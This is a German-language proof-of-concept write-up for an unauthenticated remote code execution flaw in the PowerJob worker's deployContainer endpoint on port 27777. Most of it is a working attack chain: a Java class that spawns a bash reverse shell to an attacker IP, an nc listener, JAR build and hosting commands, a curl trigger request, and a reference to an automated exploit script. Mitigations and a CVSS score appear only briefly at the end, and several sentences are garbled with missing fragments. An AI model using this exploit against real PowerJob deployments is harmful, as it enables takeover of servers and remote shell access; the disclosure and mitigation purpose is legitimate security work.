
Proof-of-Concept-Exploit für CVE-2026-75430, das eine nicht authentifizierte Remote-Codeausführung auf dem PowerJob-Worker über das willkürliche Laden von JAR-Dateien über den deployContainer-Endpunkt ermöglicht.
/worker/deployContainer (Beliebiges JAR-Laden)Der PowerJob Worker stellt den deployContainer-Handler auf seinem HTTP-Transportport 27777 ohne jegliche Authentifizierung bereit. Ein Angreifer übermittelt eine beliebige URL; der Worker lädt dieses JAR herunter und lädt es über URLClassLoader + Spring ClassPathXmlApplicationContext, wodurch während der Spring-init-method beliebiger Code ausgeführt wird → Worker-RCE. Das Standard-docker-compose veröffentlicht diesen Port auf dem Host.
Voraussetzung (ehrliche Aussage): Der Worker muss laufen (27777 hört zu). In der Standardkonfiguration validiert der Worker beim Start, dass seine App auf dem Server registriert ist (); (verifiziert: Der Java-Prozess beendet sich mit Code 1). Daher ist ein strikt frischer Zustand „docker-compose up ohne Konsolen-Setup" nicht direkt ausnutzbar. Allerdings (andernfalls plant das System keine Jobs), sodass , wonach der Exploit ohne Anmeldedaten auskommt. Im Gegensatz dazu hat der verwandte Befund PJ-08 (Server ) keine solche Voraussetzung – der Server bindet Port 10010 beim Start bedingungslos.
/server/assert/friend/processpowerjob-worker, bereitgestellt über das offizielle powerjob-worker-samples-Image)docker-compose.yml-Worker-Dienst, HTTP-Protokoll, Port 27777 (PowerJobWorkerConfig.java:34)| Element | Wert |
|---|---|
| Einstiegspunkt | POST http://<worker>:27777/worker/deployContainer |
| Handler | powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), keine Authentifizierung) |
| Download | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| Laden | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
Anfragetext ServerDeployContainerRequest (Felder containerId/containerName/version/downloadURL).
WorkerActor-Handler vertraut downloadURL vollständig.OmsContainerFactory lädt das JAR von einer beliebigen URL herunter und ruft sofort OmsJarContainer.init() auf: URLClassLoader-Laden + Spring-Kontext-refresh() → bösartiger Code wird während der Klassen-/Bean-Initialisierung ausgeführt.Voraussetzung: Der Worker läuft und 27777 hört zu (von jeder Produktions-/Demo-Bereitstellung erfüllt; wenn der Betreiber dem offiziellen Ablauf gefolgt ist und die Beispiel-App erstellt hat, ist der Worker online). Für die Reproduktion kann der Worker mit --powerjob.worker.allow-lazy-connect-server=true gestartet werden, um die App-Registrierungsprüfung zu überspringen (in Produktion nicht empfohlen; beachten Sie, dass der Schalter nur beeinflusst, ob der Worker online geht – er ändert nichts an der fehlenden Authentifizierung auf dem offenen Port).
OmsJarContainer.init()):
oms-worker-container.properties mit PACKAGE_NAME=com.evilcom/evil/Exploit.class – eine Klasse, die eine Spring-init-method (z. B. run()) bereitstellt, die einen Befehl ausführtoms-worker-container-spring-context.xml – <bean class="com.evil.Exploit" init-method="run"/>POST /worker/deployContainer an den Worker-Port 27777 mit dem Text {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"}.OmsJarContainer.init(): OhMyClassLoader.load() lädt die Klasse (führt keine statischen Initialisierer aus), dann instanziiert ClassPathXmlApplicationContext.refresh() das Bean und ruft die init-method → beliebige Befehlsausführung auf (mit den Laufzeitrechten des Workers).AbstractScriptProcessor.java:118-123 unterstützt ebenfalls das Herunterladen von einer beliebigen URL → SSRF auf Worker-Seite.Keine Ausgabe-Rückmeldung: Der
deployContainer-Handler gibtvoidzurück, sodass die HTTP-Antwort keine Befehlsausgabe enthält (verifiziert: leerer Textkörper). Für die interaktive Befehlsausführung ist die primäre Technik eine Reverse Shell (siehe Reproduktion unten); die Marker-Datei-Variante ist nur eine lokale, nicht-interaktive Verifikation.
Umgebung: JDK 21, aus dem Quellcode erstelltes powerjob-worker-samples-5.1.2.jar, Worker lauscht auf 192.168.49.128:27777 (gestartet mit --powerjob.worker.allow-lazy-connect-server=true, um die App-Registrierung zu überspringen).
Primär – Reverse Shell (interaktive Befehlsausführung):
Die Exploit.run()-Methode des bösartigen JARs (Spring-init-method) startet eine Reverse Shell. Da es keine Ausgabe-Rückmeldung gibt, ist dies der effektive Weg, um eine interaktive Befehlsausführung auf dem Worker-Host zu erhalten.
# 1) Angreifer lauscht zuerst:
nc -lvnp 7878
# 2) Erstellung des bösartigen JARs – Exploit.run() führt eine Bash-Reverse-Shell aus
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # evil.jar hosten
# 3) Auslösen (ohne Anmeldedaten):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'

Alternativ kann das Skript zur Verifizierung verwendet werden: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
Kernpunkt des PoC:
OhMyClassLoader.load()ruft nurloadClass()auf, das keine statischen Initialisierer ausführt; der tatsächliche Ausführungspunkt ist die vonClassPathXmlApplicationContext.refresh()aufgerufene Spring-init-method. Das bösartige JAR muss daher die Spring-XML-Datei enthalten undinit-methoddeklarieren. Die Reverse Shell muss über/bin/bash -claufen, da/bin/sh(dash)/dev/tcpnicht parst.
deployContainer nur von einem vertrauenswürdigen Server ausgelöst werden kann, und validieren Sie die Quelle.downloadURL auf vertrauenswürdige interne Adressen; verifizieren Sie den JAR-Hash/die Signatur vor dem Laden.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 KritischPowerJob-5.1.2/audit_report/SECOND_AUDIT_REPORT.md (PJ-09)192.168.49.128:27777, keine Anmeldedaten → Worker-RCE); siehe ## 6. ReproduktionPowerJob-5.1.2/audit_report/poc/powerjob_worker_deploycontainer_rce.py (automatisches JAR-Erstellen + Hosten + Auslösen, --reverse-shell, -p/--proxy)SECURITY.md-Kanal (Tidelift / [email protected] / GitHub Security Advisory)